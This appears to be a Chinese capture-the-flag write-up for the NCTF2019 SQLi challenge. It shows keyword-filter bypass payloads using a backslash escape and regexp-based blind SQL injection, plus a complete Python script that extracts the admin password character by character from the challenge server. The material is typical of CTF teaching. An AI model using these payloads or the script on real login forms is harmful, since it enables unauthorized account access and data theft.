1、打开之后首先尝试万能密码登录和部分关键词(or、select、=、or、table、#、-等等)登录,显示被检测到了攻击行为并进行了拦截,结果如下:

2、使用dirmap进行目录扫描,发现robots.txt文件,结果如下:

3、访问robots.txt文件,发现hint.txt文件并进行访问,发现提示信息和过滤的一堆关键字,结果如下:

4、获得提示信息,如果passwd的值等于admin的密码则登录成功,但是admin也被过滤了,这里想到了做的上一个sql注入题:https://www.cnblogs.com/upfine/p/16527723.html,采用的是正则表达式来获取flag的值,因此这里在select等关键字被过滤的情况下,这里也可以使用正则表达式来匹配admin的密码进而来获取flag值,确定获取密码的方式之后就需要确定注入点,来使用正则表达式来逐步获取密码的值,这里想到了对name中的第二个字符进行转义,使后面的' and passwd=成为name的内容,payload:name:\,passwd:||/**/1;%00,观察返回的数据包发现与之前返回的不同,确定注入点存在,结果如下:

5、确定注入点存在位置后就根据分析采用正则表达式进行匹配,payload:name:\,passwd:||/**/passwd/**/regexp/**/"^a";%00,手工结果如下:

6、确定第一位后那就确定第二位,payload:name:\,passwd:||/**/passwd/**/regexp/**/"^yo";%00,结果如下:

7、手工过程就这样一步一步获取密码信息,当然手工看看就行了,实际还得是通过脚本来获取密码信息,代码和结果如下:

脚本代码:

import requests
from urllib import parse
import time #跑出密码后发现没有大写字母,因此就去掉了大写字母,可手动加上,ABCDEFGHIJKLMNOPQRSTUVWXYZ
strings = 'abcdefghijklmnopqrstuvwxyz1234567890_{}-~'
url = 'http://a58a046b-e948-4bf4-8622-7df7271753ca.node4.buuoj.cn:81'
passwd = ''
i = 1
while i < 80:
for one_char in strings:
data = {
'username':'\\',
'passwd':'||/**/passwd/**/regexp/**/\"^'+passwd+one_char+'\";'+parse.unquote('%00')
}
rs = requests.post(url,data).content.decode('utf-8')
time.sleep(0.01)
if 'welcome' in rs:
passwd = passwd + one_char
print("\r", end="")
print('已匹配到前'+str(i)+'位'+' | '+str(passwd),end='')
i = i + 1
break
if one_char=='~' and 'welcome' not in rs:
print('\n密码共'+str(i-1)+'位,已匹配完成')
i = 80
break

密码值:you_will_never_know7788990,如下:

8、获取到admin的密码后,随便输入一个用户名并使用这个密码进行登录成功获取到flag值,结果如下:

9、注意:

  脚本可以适当的修改延时时间,如果使用时报错,那就从新跑一下或修改下延时时间。

  payload不要带上了空格,空格也被过滤了。

[NCTF2019]SQLi-1||SQL注入的更多相关文章

  1. 深入理解SQL注入绕过WAF和过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

  2. SQL注入的字符串连接函数

    在select数据时,我们往往需要将数据进行连接后进行回显.很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数.在sqli中,常见的字符串连接函数有concat(),group_ ...

  3. 深入了解SQL注入绕过waf和过滤机制

    知己知彼百战不殆 --孙子兵法 [目录] 0x00 前言 0x01 WAF的常见特征 0x02 绕过WAF的方法 0x03 SQLi Filter的实现及Evasion 0x04 延伸及测试向量示例 ...

  4. 十大关系数据库SQL注入工具一览

    摘要:众所周知,SQL注入攻击是最为常见的Web应用程序攻击技术.同时SQL注入攻击所带来的安全破坏也是不可弥补的.以下罗列的10款SQL工具可帮助管理员及时检测存在的漏洞. BSQL Hacker ...

  5. SQL注入原理小结

    今天,一基友问我一个问题说:为什么SQL注入要加单引号,这个当时我一时也回答不上,怪就怪自己理论太菜,不过回去仔细思考了一下,觉得这个问题也是蛮简单的. 首先大家应该明白的一点就是SQL注入的目的:加 ...

  6. ModSecurity SQL注入攻击

    ModSecurity是 一个入侵探测与阻止的引擎,它主要是用于Web应用程序所以也可以叫做Web应用程序防火墙.它可以作为Apache Web服务器的一个模块或单独的应用程序来运行.ModSecur ...

  7. 通过 HTTP 头进行 SQL 注入

    在漏洞评估和渗透测试中,确定目标应用程序的输入向量是第一步.有时,当做web应用程序测试时,SQL注入漏洞的测试用例通常局限于特殊的输入向量GET和POST变量.那么对于其他的HTTP头部参数呢?难道 ...

  8. Sql注入中连接字符串常用函数

    在select数据时,我们往往需要将数据进行连接后进行回显.很多的时候想将多个数据或者多行数据进行输出的时候,需要使用字符串连接函数.在sqli中,常见的字符串连接函数有concat(),group_ ...

  9. 深入理解SQL注入绕过WAF与过滤机制

    知己知彼,百战不殆 --孙子兵法 [目录] 0x0 前言 0x1 WAF的常见特征 0x2 绕过WAF的方法 0x3 SQLi Filter的实现及Evasion 0x4 延伸及测试向量示例 0x5 ...

随机推荐

  1. 软件构造Lab1实验要点总结

    本实验通过解决三个问题,训练了基本的Java编程技能,并给出了Eclipse+Jdk+Junit的配置方案,以及对使用git进行项目管理的方式. 1.因此,本实验的第一个要点是配置环境.具体配置环境过 ...

  2. JAVA - 缓冲和缓存

    JAVA - 缓冲和缓存 缓冲 Buffer 功能:协调上下层应用之间的性能差异.通过缓冲区的缓冲,当上层组件性能优于下层组件的时候,缓冲可以有效减少上层组件对下层组件的等待时间. 使用场景:IO流中 ...

  3. python基础学习6

    Python的基础学习6 内容概要 while + else 死循环.while的嵌套 for循环基本使用 range关键字 for循环补充.爬虫 基本数据类型及内置方法 内容详情 while + e ...

  4. 【原创】SpringBoot 2.7.0通过lettuce及commons-pool2 v2.9.0集成Redis踩坑记录

    背景 公司的一个项目由于HTTPS证书到期,导致小程序.POS不能正常使用.所以百度了下,通过URL检测证书有效期的代码,并自行整合到一个服务中. 代码仓库:[基于SpringBoot + 企业微信 ...

  5. 编程技巧│浏览器 Notification 桌面推送通知

    目录 一.什么是 Notification 二.弹窗授权 三.弹窗使用 四.浏览器支持检测 五.授权回调 六.3秒后关闭弹窗 一.什么是 Notification Notification 是浏览器最 ...

  6. Vue最新防抖方案

    函数防抖(debounce):当持续触发事件时,一定时间段内没有再触发事件,事件处理函数才会执行一次,如果设定的时间到来之前,又一次触发了事件,就重新开始延时.举个栗子,持续触发scroll事件时,并 ...

  7. MySQL-1-概念

    数据库相关概念 DB:数据库(database):存储数据的"仓库".它保存了一系列有组织的数据 DBMS:数据库管理系统,又称为数据库软件(产品),用于管理DB中的数据 SQL: ...

  8. 【python基础】第07回 运算符和流程控制 2

    本章内容概要 1.逻辑运算符补充 2.循环结构 本章内容详解 1.逻辑运算符补充 两边都不为0的情况 or 直接取前面的值 and 直接取后面的值如果存在0的情况 and 直接取0 or 直接取非0 ...

  9. oracle备份数据库数据及导入数据库

    1.oracle数据库备份和导入 bat 脚本 scott oracle数据库用户名称 123456 数据库scott用户下的密码 192.168.124.8 本电脑IP orcl 为oracle库 ...

  10. idea显示 RunDashboard ,多个启动项时列表显示

    在.idea(项目所在文件夹中)下的workspace.xml文件中找到 <component name="RunDashboard"> 标签,然后添加如下节点 < ...